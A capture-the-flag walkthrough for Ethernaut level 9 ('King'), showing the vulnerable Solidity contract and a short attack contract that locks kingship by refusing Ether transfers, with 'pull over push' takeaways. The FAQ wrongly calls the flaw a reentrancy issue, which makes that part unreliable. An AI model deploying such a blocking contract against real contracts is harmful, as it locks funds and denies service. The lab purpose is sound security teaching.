In this challenge, we’ll dive into smart contracts’ payment vulnerability and essential security practices to prevent such issues. By the end of ethernaut level 9, you’ll be equipped to both exploit and safeguard the smart contract effectively.
Objective
Claim kingship forever, ensuring no one can reclaim it.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Explore Contract
The receive()
function determines who becomes the new king based on the value sent. The owner can also reclaim kingship.
Just two lines in this function impact the king’s claim.
require(msg.value >= prize || msg.sender == owner);
You can deposit an amount greater than the old one or be the owner to bypass this check.
payable(king).transfer(msg.value);
This line is critical. It transfers funds to the old king and updates the new king and new prize.
Deposit ETH
There are two account types: External Owned Account (EOA) and Contract Account. Both can receive ETH. EOAs can always receive Ether, while Contract Accounts need to implement receive()
or fallback()
functions.
Let’s hack
Leveraging this knowledge, we can deploy a contract to claim kingship without implementing any function to receive Ether.
Ensure ETH value is greater than or equal to the current prize (initial prize is 0.001 ETH).
Here’s an example:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KingForever {
constructor(address kingContract) payable {
(bool success,) = kingContract.call{value: msg.value}("");
require(success);
}
}
Congratulations! You’ve completed the Ethernaut 9 – King challenge 🥳
Security Takeaways: Ethernaut Level 9 – King
- Be cautious with external calls and handle errors properly.
- Consider implementing a separate function for the old king to reclaim funds to mitigate vulnerabilities, following the “Pull over Push” pattern.
Ready for the next Ethernaut challenge? Click to check out the previous ethernaut challenge and stay tuned to see what’s next in our series!
FAQs
How do I complete Ethernaut Level 9: King?
- To complete Ethernaut Level 9, you need to disrupt the existing king’s contract by becoming the new king and preventing others from reclaiming the throne.
What is the main objective of Ethernaut Level 9?
- The main objective is to exploit the vulnerabilities in the King contract and secure your position as the reigning king indefinitely.
What are some common pitfalls in Ethernaut Level 9?
- Common pitfalls include not accounting for reentrancy issues and failing to properly handle the payable functions.
How can I prevent others from reclaiming the throne in Ethernaut Level 9?
- You can prevent others by writing a malicious contract that does not forward the throne to any new challengers, effectively blocking others.
Why is understanding reentrancy important in Ethernaut Level 9?
- Reentrancy is crucial because the King contract’s vulnerability relies on reentrancy attacks, which can be used to lock the throne.
What are some basic steps to start Ethernaut Level 9: King?
- Basic steps include analyzing the King contract, deploying your own contract to take over, and ensuring your contract prevents others from becoming king.